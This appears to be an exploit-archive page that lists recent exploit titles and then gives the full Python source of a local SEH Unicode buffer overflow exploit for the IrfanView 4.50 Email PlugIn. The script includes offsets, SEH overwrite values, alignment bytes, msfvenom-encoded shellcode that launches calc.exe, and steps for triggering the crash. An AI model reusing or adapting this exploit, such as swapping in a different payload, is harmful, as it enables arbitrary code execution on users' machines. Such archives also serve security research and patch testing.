ba1d29bdd6
13 changes to exploits/shellcodes SEGGER embOS/IP FTP Server 3.22 - Denial of Service DualDesk 20 - 'Proxy.exe' Denial of Service Apple iOS - '.pdf' Local Privilege Escalation / Jailbreak Apple iOS - '.pdf' Local Privilege Escalation 'Jailbreak' Foxit Reader 4.0 - '.pdf' Multiple Stack Based Buffer Overflow / Jailbreak Foxit Reader 4.0 - '.pdf' Multiple Stack Based Buffer Overflow 'Jailbreak' ASX to MP3 Converter 1.82.50 - '.asx' Local Stack Overflow ASX to MP3 Converter 1.82.50 (Windows XP SP3) - '.asx' Local Stack Overflow Sony Playstation 4 (PS4) 4.05 - Jailbreak (WebKit / 'namedobj ' Kernel Loader) Sony Playstation 4 (PS4) 4.05 - 'Jailbreak' WebKit / 'namedobj ' Kernel Loader IrfanView 4.44 Email Plugin - Buffer Overflow (SEH) IrfanView 4.50 Email Plugin - Buffer Overflow (SEH Unicode) Sony Playstation 3 (PS3) < 2.50 - WebKit Code Execution (PoC) Sony Playstation 4 (PS4) < 2.50 - WebKit Code Execution (PoC) ASX to MP3 Converter 1.82.50 (Windows 2003 x86) - '.asx' Local Stack Overflow Apple iTouch/iPhone 1.1.1 - '.tif' Remote Privilege Escalation / Jailbreak Apple iTouch/iPhone 1.1.1 - '.tif' Remote Privilege Escalation 'Jailbreak' Sony Playstation 4 (PS4) 4.55 - Jailbreak (WebKit 5.01 / 'bpf' Kernel Loader 4.55) Sony Playstation 4 (PS4) 4.55 - 'Jailbreak' WebKit 5.01 / 'bpf' Kernel Loader 4.55 TestLink Open Source Test Management < 1.9.16 - Remote Code Execution Joomla! 3.7 - SQL Injection Posnic Stock Management System - SQL Injection WordPress Plugin Polls 1.2.4 - SQL Injection (PoC) WordPress Plugin UPM-POLLS 1.0.4 - Blind SQL Injection WordPress Plugin UPM Polls 1.0.4 - Blind SQL Injection D-Link DIR-600M Wireless - Cross-Site Scripting uWSGI < 2.0.17 - Directory Traversal
75 lines
No EOL
2.2 KiB
Python
Executable file
75 lines
No EOL
2.2 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
#
|
|
# Exploit Author: bzyo
|
|
# Twitter: @bzyo_
|
|
# Exploit Title: IrfanView 4.50 Email PlugIn - Local Buffer Overflow (SEH Unicode)
|
|
# Date: 02-07-2018
|
|
# Vulnerable Software: IrfanView 4.50 Email PlugIn
|
|
# Vendor Homepage: http://www.irfanview.com/
|
|
# Version: 4.50
|
|
# Software Link: http://www.irfanview.info/files/irfanview_450.exe
|
|
# Software Link: http://www.irfanview.info/files/irfanview_plugins_450.zip
|
|
# Tested Windows 7 SP1 x86
|
|
#
|
|
# More reliable result if .NET and updates installed prior to application being installed
|
|
#
|
|
#
|
|
# PoC
|
|
# 1. generate irfan.txt, copy contents to clipboard
|
|
# 2. open IrfanView and a sample image from My Pictures (i.e. Chrysanthemum.jpg)
|
|
# 3. select Options, Send by Email, Settings
|
|
# 4. paste contents from clipboard into Full Name and select OK
|
|
# 5. application crashes
|
|
# 6. pop calc
|
|
# ****if calc doesn't pop on first try, repeat steps 2-4 until it does :/
|
|
#
|
|
|
|
filename="irfan.txt"
|
|
|
|
#junk to offset
|
|
junk = "\x41"*262
|
|
|
|
#popad
|
|
nseh = "\x61\x62"
|
|
|
|
#0x00500102 pop esi pop ebx ret
|
|
#unicode possible ansi transform(s) : 0050008A->00500106,ascii {PAGE_EXECUTE_READ} [i_view32.exe]
|
|
seh = "\x8a\x50"
|
|
|
|
valign = (
|
|
"\x55" #push ebp
|
|
"\x47" #align
|
|
"\x58" #pop eax
|
|
"\x47" #align
|
|
"\x05\x14\x11" #add eax,400
|
|
"\x47" #align
|
|
"\x2d\x13\x11" #sub eax,300
|
|
"\x47" #align
|
|
"\x50" #push eax
|
|
"\x47" #align
|
|
"\xc3" #retn
|
|
)
|
|
|
|
#nops to shellcode
|
|
nops = "\x71" * 109
|
|
|
|
#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
|
|
calc = (
|
|
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
|
|
"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHE2KPKPM0C0U9IU01I02D4K0P004"
|
|
"K0RLLTK0RLT4KT2NHLOH7OZO601KOVLOLQQSLLBNLMPWQHOLMM197K2KBQB0WTK0RN0DKPJOLDK0LLQR"
|
|
"XIS18M1J121TK1IMPKQYC4KPILXJCOJQ9TKOD4KKQ8VP1KOFL91XOLMM1WWP8IPD5ZVLCCMKHOKSMO42"
|
|
"UK428DKPXNDM1ICBFTKLLPKDKB8MLM19CDKLD4KKQHP3YQ4O4MTQKQK1Q291JPQKOIP1OQOPZ4KLRJK4M"
|
|
"1MRJM14MU5WBM0M0M0R0QX014K2OTGKO9EGKL06UFBB6C85VF5GM5MKOJ5OLKVSLKZE0KKIPBUM57KQ7M"
|
|
"CSB2ORJM0PSKOIEBCC1BL1SNN2E2XC5M0AA"
|
|
)
|
|
|
|
#necessary fill
|
|
fill = "\x71"*1000
|
|
|
|
buffer = junk + nseh + seh + valign + nops + calc + fill
|
|
|
|
textfile = open(filename , 'w')
|
|
textfile.write(buffer)
|
|
textfile.close() |